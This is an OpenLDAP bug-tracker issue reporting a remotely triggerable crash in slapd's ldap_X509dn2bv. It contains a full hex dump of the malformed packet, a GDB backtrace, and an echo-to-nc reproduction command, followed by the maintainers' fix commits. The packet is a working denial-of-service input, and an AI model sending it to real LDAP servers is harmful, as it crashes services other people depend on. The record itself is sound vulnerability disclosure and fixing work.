Issue 9423 - Assertion failure when decoding in ldap_X509dn2bv

Status: VERIFIED FIXED
Alias: None
Product: OpenLDAP
Component: slapd (show other issues)
Version: 2.4.56
Hardware: All All
Importance: --- normal
Target Milestone: 2.4.57
Assignee: OpenLDAP project
URL:
Keywords:
Depends on:
Blocks:

Reported: 2020-12-13 20:48 UTC by phasip
Modified: 2021-01-18 20:06 UTC (History)
CC List: 0 users
See Also:

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note

You need to log in before you can comment on or make changes to this issue.

phasip **2020-12-13 20:48:01 UTC** Description

```
A malicious packet can force OpenLDAP to fail an assertion and crash
slapd: decode.c:712: ber_next_element: Assertion `last != NULL' failed.

Packet:
    00000000: 3082 01e4 0204 3030 3030 4a82 0130 4f3d  0.....0000J..0O=
    00000010: efbe b2ef beb2 efbe b2ef beb2 efbe b2ef  ................
    00000020: beb2 efa7 b2ef beb2 efb6 b2ef beb2 efbe  ................
    00000030: b2ef beb2 efbe b2ef beb2 efbe b2ef beb2  ................
    00000040: 2c0a 0a0a 322e 352e 342e 3339 3d30 6b30  ,...2.5.4.39=0k0
    00000050: 3030 0630 3030 3030 3030 0631 30b0 3030  00.0000000.10.00
    00000060: 3018 1830 3030 3030 3030 3030 3030 3030  0..0000000000000
    00000070: 3030 3030 3030 3030 3030 3030 382e 3030  0000000000008.00
    00000080: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000090: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000a0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000b0: 3030 3030 3003 0330 3030 3030 3030 3030  00000..000000000
    000000c0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000d0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000e0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000f0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000100: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000110: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000120: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000130: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000140: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000150: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000160: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000170: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000180: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000190: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000001a0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000001b0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000001c0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000001d0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000001e0: 3030 3030 3030 3030                      00000000

GDB output:
    ...
    fuzzing.debug: decode.c:712: ber_next_element: Assertion `last != NULL' failed.

    Program received signal SIGABRT, Aborted.
    0x00007ffff7de918b in raise () from /lib/x86_64-linux-gnu/libc.so.6
    (gdb) bt
    #0  0x00007ffff7de918b in raise () from /lib/x86_64-linux-gnu/libc.so.6
    #1  0x00007ffff7dc8859 in abort () from /lib/x86_64-linux-gnu/libc.so.6
    #2  0x00007ffff7dc8729 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
    #3  0x00007ffff7dd9f36 in __assert_fail () from /lib/x86_64-linux-gnu/libc.so.6
    #4  0x00005555556efd33 in ber_next_element (ber=0x7fffffff7f80,
len=0x7fffffff7ec8, last=0x0) at decode.c:712
    #5  0x00005555556e55c5 in ldap_X509dn2bv (x509_name=0x7fffffffe120,
bv=0x7fffffffe140, func=0x5555555aeb31 <LDAPDN_rewrite>, flags=0) at tls2.c:1631
    #6  0x00005555555b0df6 in dnX509normalize (x509_name=0x7fffffffe120,
out=0x7fffffffe140) at dn.c:1301
    #7  0x00005555555dd59e in certificateListValidate (syntax=0x5555557f6c80,
in=0x5555559a19d0) at schema_init.c:487
    #8  0x00005555555ae98d in LDAPRDN_rewrite (rdn=0x5555559a1a08, flags=1,
ctx=0x5555559a1790) at dn.c:328
    #9  0x00005555555aeb9f in LDAPDN_rewrite (dn=0x5555559a1a70, flags=1,
ctx=0x5555559a1790) at dn.c:407
```

```
    #10 0x00005555555afc04 in dnPrettyNormal (syntax=0x0, val=0x7fffffffe3e0,
pretty=0x5555559a1398, normal=0x5555559a13a8, ctx=0x5555559a1790) at dn.c:739
    #11 0x00005555555b5e53 in do_delete (op=0x5555559a1360, rs=0x7fffffffe470) at
delete.c:65
    #12 0x0000555555591cc0 in connection_operation (ctx=0x5555557f4280
<ldap_int_main_thrctx>, arg_v=0x5555559a1360) at connection.c:1163
    #13 0x00005555555923e9 in connection_read_thread (ctx=0x5555557f4280
<ldap_int_main_thrctx>, argv=0xa) at connection.c:1318
    #14 0x000055555565c9b in main (argc=1, argv=0x7fffffffe6b8) at fuzzing.c:100

Testing:
    1. Launch openldap
    (Current public repo)
    docker run -it --net=host bitnami/openldap
    (More recent develop)
    docker run -it --net=host phasip/openldap
    2. Send crashing packet
    echo -en
'\x30\x82\x01\xe4\x02\x04\x30\x30\x30\x30\x4a\x82\x01\x30\x4f\x3d\xef\xbe\xb2\xef\xbe\xb2\xef\xbe\xb2\xef\xbe\xb2\xef\xbe\xb2\xef\xbe\xb2\
| nc localhost 1389
```

Howard Chu **2020-12-13 21:55:17 UTC** Comment 1

fixed in master

Quanah Gibson-Mount **2020-12-15 21:24:47 UTC** Comment 2

```
commit 8c1d96ee36ed98b32cd0e28b7069c7b8ea09d793
Author: Howard Chu <hyc@openldap.org>
Date:   Sun Dec 13 21:48:45 2020 +0000

    ITS#9423 ldap_X509dn2bv: check for invalid BER after RDN count
```

Quanah Gibson-Mount **2020-12-15 21:25:11 UTC** Comment 3

(In reply to Quanah Gibson-Mount from comment #2)
> commit 8c1d96ee36ed98b32cd0e28b7069c7b8ea09d793
> Author: Howard Chu <hyc@openldap.org>
> Date: Sun Dec 13 21:48:45 2020 +0000
>
>   ITS#9423 ldap_X509dn2bv: check for invalid BER after RDN count

This was RE24

Quanah Gibson-Mount **2020-12-15 21:25:19 UTC** Comment 4

trunk:

Commits:
  • c944dc55
by Howard Chu at 2020-12-13T21:52:00+00:00
ITS#9423 ldap_X509dn2bv: check for invalid BER after RDN count